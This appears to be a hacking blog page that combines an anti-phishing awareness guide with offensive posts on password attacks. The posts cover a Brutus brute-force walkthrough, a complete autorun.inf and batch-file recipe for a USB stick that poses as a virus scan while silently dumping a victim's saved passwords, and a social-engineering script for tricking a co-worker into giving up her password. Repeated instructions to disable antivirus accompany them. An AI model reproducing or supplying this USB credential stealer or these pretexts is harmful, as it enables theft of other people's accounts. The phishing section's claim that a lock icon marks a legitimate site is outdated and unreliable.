How to Identify and Avoid Phishing Scams



Phishing ScamPhishing is a form of social engineering technique used by hackers to gather sensitive information such as usernames, passwords and credit card details by posing as a trustworty person/organization. Since most online users are unaware of the techniques used in carrying out a phishing attack, they often fall victims and hence, phishing can be very effective.
With the dramatic increase in the number of phishing scams in the recent years, there has also been a steady rise in the number of people being victimized. Lack of awareness among the people is the prime reason behind such attacks. This article will try to create awareness and educate the users about such online scams and frauds.
Phishing scams usually sends an email message to users requesting for their personal information, or redirects them to a website where they are required to enter thier personal information. Here are some of the tips that can be used to identify various phishing techniques and stay away from it.
 

Identifying a Phishing Scam

 
1. Beware of emails that demand for an urgent response from your side. Some of the examples are:
  • You may receive an email which appears to have come from your bank or financial organization stating that “your bank account is limited due to an unauthorized activity. Please verify your account asap so as to avoid permanant suspension”. In most cases, you are requested to follow a link (URL) that takes you to spoofed webpage (similar to your bank website) and enter your login details over there.
  • In some cases, phishing emails may ask you to make a phone call. There may be a person or an audio response waiting on the other side of the phone to take away your credit cards details, account number, social security number or other valuable data.
2. Phishing emails are generally not personalized. Since they target a lagre number of online users, they usually use generalized texts like “Dear valued customer”, “Dear Paypal user” etc. to address you. However, some phishing emails can be an exception to this rule.
3. When you click on the links contained in a phishing email, you will most likely be taken to a spoofed webpage with official logos and information that looks exactly same as that of the original webpages of your bank or financial organization. Pay attention to the URL of a website before you enter any of your personal information over there. Even though malicious websites look identical to the legitimate site, it often uses a different domain or variation in the spelling. For example, instead of paypal.com, a phishing website may use different addresses such as:
  • papyal.com
  • paypal.org
  • verify-paypal.com
  • xyz.com/paypal/verify-account/
 

Tips to Avoid Being a Victim of Phishing

 
1. Do not respond to suspicious emails that ask you to give your personal information. If you are unsure whether an email request is legitimate, verify the same by calling the respective bank/company. Always use the telephone numbers printed on your bank records or statements and not those mentioned in the suspicious email.
2. Don’t use the links in an email, instant messenger or chat conversation to enter a website. Instead, always type the URL of the website on your browser’s address bar to get into a website.
3. Legitimate websites always use a secure connection (https://) on those pages which are intended to gather sensitive data such as usernames and passwords, account numbers or credic card details. You will see a lock icon Picture of the Lock icon in your browser’s address bar which indicates a secure connection. On some websites like paypal.com which uses an extended validation certificate, the address bar turns GREEN as shown below.
HTTPS Address Bar


In most cases, unlike a legitimate website, a phishing website or a spoofed webpage will not use a secure connection and does not show up the lock icon. So, absence of such security features can be a clear indication of phishing attack. Always double-check the security features of the webpage before entering any of your personal information.
4. Always use a good antivirus software, firewall and email filters to filter the unwanted traffic. Also ensure that your browser is up-to-date with the necessary patches being applied.
5. Report a “phishing attack” or “spoofed emails” to the following groups so as to stop such attacks from spreading all over the Internet:
You can directly send an email to spam@uce.gov orreportphishing@antiphishing.org reporting an attack. You can also notify the Internet Crime Complaint Center of the FBI by filing a complaint on their website: www.ic3.gov.

Password Cracking: What is Brute Force Attack?


Note:- This information is for educational purpose only so that you can know about various kinds of password cracking techniques. the author or http://lasiahacker1st.blogspot.com is not responsible for any kind of misuse of this information. We aim only to create awareness so that people can protect themselves from getting hacked and save themselves in this unsafe world of hacking.
In My previous post I covered Dictionary Attack used to crack passwords in detail. In this Post I am Going to cover Brute Force Attack.
Brute Force Attack:
With time, Brute Force Attack can crack any passwords. Brute-force attacks try every possible combination of letters, numbers, and special characters until the right password is found. Brute Force Attack can take a long time. The speed is determined by the speed of the computer running the cracking program and the complexity of the password. Below I will show you how Brutus can be used against the same FTP server but this time using the brute-force option.
1. Put in the target and port the same way you did for the dictionary attack. For the pass mode choose Brute-force and click range.
2. If you have an idea of what the password might be, then you can choose the right option. For example if you know a site that requires your password to be a certain length then you’ll know what to put down as a minimum length thus narrowing down the end results and shortening the cracking process.

3. I chose lowercase alpha which has the second smallest amount of combinations. Even at second smallest it came up with 321, 272,407 possible password combinations. Now you know why it can take so long to crack one password.

How to sniff Passwords using USB Drive


Anyone can steal stored passwords from any computer and that too by using your USB drive.
Can’t believe!
Read on..
As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000(POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txtstart mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Password Cracking : What is Social Engineering | Hacking


This is one of the oldest techniques of hacking when a hacker takes advantage of trusting human beings to get information from them .
Social Engineering – Social engineering is when a hacker takes advantage of trusting human beings to get information from them ( like in the movie Hackers 1 if anyone has seen it. When the hero tries to take over a television network).
For example, if the Hacker was trying to get the password for a co-workers computer, he (Even though I use “he”, hackers are of both genders, and I just chose to use “he” in these examples.) could call the co-worker pretending to be from the IT department. The conversation could be something like:

Bob- “Hello Suzy. My name is Bob and I’m from the IT department. We are currently attempting to install a new security update on your computer, but we can’t seem to connect to the user database and extract your user information. Would you mind helping me out and letting me know your password before my boss starts breathing down my neck? It’s one of those days, ya’ know?”
Suzy would probably feel bad for Bob and let him know her password without any hesitation. BAM! She got social engineered. Now the hacker can do whatever he pleases with her account.
• Shoulder surfing – Shoulder surfing is exactly what it sounds like. The Hacker would simply attempt to look over your shoulder as you type in your password. The hacker may also watch weather you glance around your desk, looking for a written reminder or the written password itself.
• Guessing – If you use a weak password, a Hacker could simple guess it by using the information he knows about you. Some examples of this are: date of birth, phone number, favorite pet, and other simple things like these.
Now that we have the simple low-tech password cracking techniques out of the way, let’s explore some high-tech techniques. Some of the programs I will use in my examples may be blocked by your anti-virus programs when you attempt to run them. Make sure you disable your anti-virus program when you decide to download and explore them.
Now share this information and enjoy Learning Ethical Hacking.
And make sure you subscribe to how to hack it. :)
